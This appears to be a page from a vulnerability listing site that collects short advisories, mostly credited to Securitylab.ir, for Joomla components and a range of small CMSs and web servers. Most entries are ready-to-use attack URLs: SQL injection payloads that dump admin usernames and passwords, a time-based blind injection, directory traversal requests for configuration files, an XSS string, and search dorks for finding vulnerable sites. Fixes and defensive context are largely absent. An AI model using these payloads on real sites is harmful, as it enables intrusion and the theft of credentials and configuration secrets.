Documents Associated to Vulnerability Info

New User, Welcome! Login

Vulnerability Info

Joomla Component com_xmap Sql Injection Vulnerability

# Securitylab.ir
#################################################################
# Application Info:
# Name: Joomla Component com_xmap
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/index.php?option=com_xmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version(),5,6,7,8--

Joomla Component com_weblinks Sql Injection Vulnerability

# Securitylab.ir
#################################################################
# Application Info:
# Name: Joomla Component com_weblinks
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/index.php?option=com_weblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5

Official Portal 2007 Multiple Vulnerabilities

# Securitylab.ir  
#################################################################  
# Application Info:  
# Name: Official Portal 2007
#################################################################  
# Vulnerability Info:
# Type: Sql Injection/XSS
# Risk: Medium
# Dork: "Official Portal 2007"
#################################################################
Vulnerability:

Vana CMS Remote File Download

#################################################################  
# Application Info:  
# Name: Vana CMS
# Vendor: http://www.vanasoft.com
#################################################################  
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
# 2009-10-23 - Found Vulnerability
# 2010-04-09 - Vendor notified
# 2010-04-11 - Public disclosure

SQL injection vulnerability in LiveChatNow

Application Info:
# Name: LiveChatNow.com
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: Medium


Time Table:

httpdx webserver v1.5 Remote Source Disclosure

#################################################################
# Application Info:
# Name: httpdx webserver 
# Version:  1.5
#################################################################
# Vulnerability Info:
# Type: Remote Source Disclosure
# Risk: Medium
#################################################################
# Vulnerability:
# http://127.0.0.1/file.php%20

IdeaCMS v1.0 (fck) Remote Arbitrary File Upload

#################################################################
# Application Info:
# Name: IdeaCMS
# Version: 1.0
#################################################################
# Vulnerability Info:
# Type: Remote Arbitrary File Upload
# Risk: High
#################################################################
# Vulnerability:
# http://site.com/admin/fckeditor/editor/filemanager/connectors/asp/connector.asp

Microsoft IE 6&7 Crash Exploit

# Application Info:
# Name: Microsoft IE
# Version: 6 & 7
# Tested on : XP(SP1/SP2/SP3)
#################################################################
# Vulnerability Info:
# Type: Crash
# Risk: Medium
#################################################################
Vulnerability:

RE: Microsoft IE 6&7 Crash Exploit

# Application Info:
# Name: Microsoft IE
# Version: 6 & 7
# Tested on : XP(SP1/SP2/SP3)
#################################################################
# Vulnerability Info:
# Type: Crash
# Risk: Medium
#################################################################
Vulnerability:

eWebeditor Directory Traversal Vulnerability

#################################################################
# Application Info:
# Name: eWebeditor
# Version: all version
#################################################################
# Vulnerability Info:
# Type: Directory Traversal
# Risk: Medium
#################################################################
# Vulnerability:
# http://site.com/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..

Joomla (Jw_allVideos) Remote File Download Vulnerability

#################################################################
# Application Info:
# Name: Joomla (jw_allvideos Plugin)
# Version: 1.0
#################################################################
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
#################################################################
# Vulnerability:
# http://site.com/plugins/content/jw_allvideos/includes/download.php?file=./../.../file.php

Smart Douran CMS Remote File Download

#################################################################  
# Application Info:  
# Name: Smart Douran CMS
# Vendor: http://smartdouran.ir
#################################################################  
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
# 2008-08-11 - Found Vulnerability
# 2010-05-19 - Public disclosure
#################################################################

Admin News Tools 2.5 Remote File Download Vulnerability

#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download Vulnerability
# Risk: Medium
#===========================================================
# Download.php
# header('Content-Disposition: attachment; filename=' . basename ($_GET['fichier']));

Empire Cms 5.1 sql injection

#################################################################
# Discoverd By: Securitylab.ir 
# Website: http://Securitylab.ir
# Contacts: admin[at]securitylab.ir & k4mr4n_st@yahoo.com
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
#===========================================================
# http://site.com/e/tool/gbook/?bid=1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
#===========================================================

dedecms v5.3 Arbitrary File Upload Vulnerability

#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High
#===========================================================
# http://site.com/member/uploads_edit.php
# select file and uploaded

Namad Cms Remote File Download

#################################################################
# Discoverd By: Securitylab.ir 
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download Vulnerability
# Risk: Medium
# Dork: "Copyright 2008 ImenAfzar ver :2.0.0.0"
#===========================================================
# http://site.ir/SecureDownloads.aspx?Mode=Downloads&Type=Files&FileName=../../Web.Config

DMXReady Registration Manager Arbitrary File Upload Vulnerability

#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High
# Dork: "inc_webblogmanager.asp"
#===========================================================
# http://site.com/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp

LxBlog

#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql/Xss
# Risk: Medium
#===========================================================
# Sql Injection:
# http://site.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid    =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*

Golabi CMS Remote File Inclusion Vulnerability

    [*] Name:       Golabi CMS
    [*] Author:     R3dM0ve
    [*] HomePage:   http://golabicms.sourceforge.net/
    [*] Download:   http://downloads.sourceforge.net/golabicms/Golabi_1.0.zip?use_mirror=freefr

[+] Vulnerability Info:
    [*] Type:  Remote File Inclusion (RFI)
    [*] Requirement: register_globals [ON]
    [*] Risk:  High Critical
    [*] Bug Hunter: CrazyAngel
    [*] Details: Unhandled variable Inclusion in default template file results in RFI Vulnerability

Sigma Portal Denial of Service Vulnerability

################################################################# 
# Application Info:
# Name: Sigma Portal
# Vendor: http://www.sigma.ir
################################################################# 
# Vulnerability Info:
# Type: Denial of Service
# Risk: Medium
# 2010-08-11 - Vendor notified
#################################################################
Vulnerability:

Pogodny CMS SQL vulnerabilities

Application Info:
# Name: pogodny CMS
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: High

Fix: 
# N/A Vendor notified 08.02.2010

Pixel Portal Sql Injection Vulnerability

#################################################################
# Application Info:
# Name: Pixel Portal
# Vendor: http://www.pixelidea.ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
#################################################################
Vulnerability:
http://site.ir/products_list_fa.asp?id=-1001+UNION+ALL+SELECT+1,2,3,4,5,6,7,username,password,10,11,12,13+Form+admin

SQL injection vulnerability in apemCMS

Application Info:
# Name: apemCMS
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: High

Fix: 
# 11.FEB Fixed

SQL injection vulnerability in wILD CMS

Dork:
# N/A

Application Info:
# Name: wILD CMS
Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: medium

Fix: 
# N/A

Apache ActiveMQ XSS Vulnerability

Vulnerability Info:

26/04/2010 Issue Discovered              26/04/2010 Vendor Notified

27/04/2010 Vendor Conformed              Class: Cross-Site Scripting (Input validation)


Severity: Medium

Overview:

XSS vulnerability in easy page cms

#################################################################  
# Application Info:  
# Name: Easy Page
# Vendor: http://easypage.org
#################################################################  
# Vulnerability Info:
# Type: XSS
# Risk: low
#################################################################
Vulnerability:  
http://site.ir/default.aspx?page=Document&app=Documents&docId=1&docParId=<script>("xss")</script>

mongoose Space Character Remote File Disclosure Vulnerability

# Application Info:
# Name: mongoose
# Version: 2.8
# Download: http://code.google.com/p/mongoose/downloads/list
#################################################################
# Vulnerability Info:
# Type: Remote Source Disclosure
# Risk: Medium
#################################################################
# Vulnerability:
# http://127.0.0.1/file.php%20%20%20

XSS, SQL injection vulnerability in I-Vision CMS

Application Info:
# Name: I-Vision CMS
# ALL versions

Vulnerability Info:
# Type: XSS
# Type: SQL injection Vulnerability
# Risk: HIGH (BANK SYSTEMS)

Fix:

SQL injection vulnerability in WebAdministrator Lite CMS

Application Info:
# Name: WebAdministrator Lite CMS
# Versions: LITE

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: medium

Fix: 
# N/A

phpcms 2008 Remote File Disclosure Vulnerability

#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Disclosure Vulnerability
# Risk: Medium
#===========================================================
# http://site.com/[path]/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=127.0.0.1&s=m/&d=1
#===========================================================

Next Page>>

Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!